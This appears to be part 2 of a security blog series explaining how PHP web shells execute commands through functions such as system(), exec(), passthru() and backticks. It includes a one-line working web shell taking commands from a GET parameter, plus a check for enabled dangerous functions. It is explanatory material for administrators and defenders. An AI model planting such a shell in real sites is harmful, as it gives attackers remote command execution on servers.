In part 1 of this series, we looked at what a web-shell is, and why an attacker would seek to use one. In part 2 of this series, we’ll be looking at some specific examples of web-shells in the PHP programming language.

Web shells exist for almost every web programming language you can think of. We chose to focus on PHP because it is the most widely-used programming language on the web.

PHP web shells do nothing more than use in-built PHP functions to execute commands. The following are some of the most common functions used to execute shell commands in PHP.


The system() function accepts the command as a parameter and it outputs the result.

The following example on a Microsoft Windows machine will run the dir command to return a directory listing of the directory in which the PHP file is executing in.

// Return the directory listing in which the file run (Windows)

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

04/27/2016 10:21 PM <DIR> .
04/27/2016 10:21 PM <DIR> ..
04/27/2016 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Similarly, executing the ls command on a Linux machine achieves a similar result.

// Return the directory listing in which the file run (Linux)
system("ls -la");

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php

Other commands have the same effect.

// Return the user the script is running under

--> www-data


The exec() function accepts a command as a parameter but does not output the result. If second optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of the result will be shown if echoed.

// Executes, but returns nothing
exec("ls -la");


Using echo with the exec() function, will only print the last line of the command’s output.

// Executes, returns only last line of the output
echo exec("ls -la");

--> -rw-rw-r-- 1 secuser secuser 29 Apr 27 20:49 shell.php

If a second parameter is specified, the result is returned in an array.

// Executes, returns the output in an array
exec("ls -la",$array);

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )


The shell_exec() function is similar to exec(), however, instead, it outputs the entire result as a string.

// Executes, returns the entire output as a string
echo shell_exec(“ls -la“);
--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Apr 28 18:24 shell.php


The passthru() function executes a command and returns output in raw format.

// Executes, returns output in raw format
passsthru(“ls -la“);

--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Apr 28 18:23 shell.php


The proc_open() function can be difficult to understand (you can find a detailed description of the function in the PHP docs). Put simply, by using proc_open() we can create a handler (process) which will be used for the communication between our script and the program we want to run.

preg_replace() with the /e modifier

The preg_replace() function can perform a regular expression search and replace. The /e modifier (which is deprecated), executes the replacement with eval(). This means we can then pass PHP code to be executed by the eval() function.

preg_replace('/.*/e', 'system("whoami");', '');

--> www-data

web shells image 1


Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of backticks ( ` ) as a shell command.

$output = `whoami`;
echo "<pre>$output</pre>";

--> www-data

Based on the above, the following is a PHP web-shell in its simplest form.

<?php system($_GET['cmd']);?>

It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP request GET parameter.

web shells image 2

We have established that these functions (and a few others) can be very dangerous. What is even more dangerous, is that all these in-built PHP commands are enabled by default when PHP is installed, and the majority of system administrators do not disable them.

If you are unsure whether they are enabled on your system, the following command (PHP CLI needs to be installed) will return a list of the dangerous functions which are enabled.

php -r 'print_r(get_defined_functions());' | grep -E ' (system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)'<?php print_r(get_defined_functions()); ?>

On a default installation, we can see that all of the functions mentioned above, are enabled.

[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen


Part 3

Keeping web-shells under cover

Part 4

Web-shells in action

Part 5

Detection & Prevention

Agathoklis Prodromou
Web Systems Administrator/Developer
Akis has worked in the IT sphere for more than 13 years, developing his skills from a defensive perspective as a System Administrator and Web Developer but also from an offensive perspective as a penetration tester. He holds various professional certifications related to ethical hacking, digital forensics and incident response.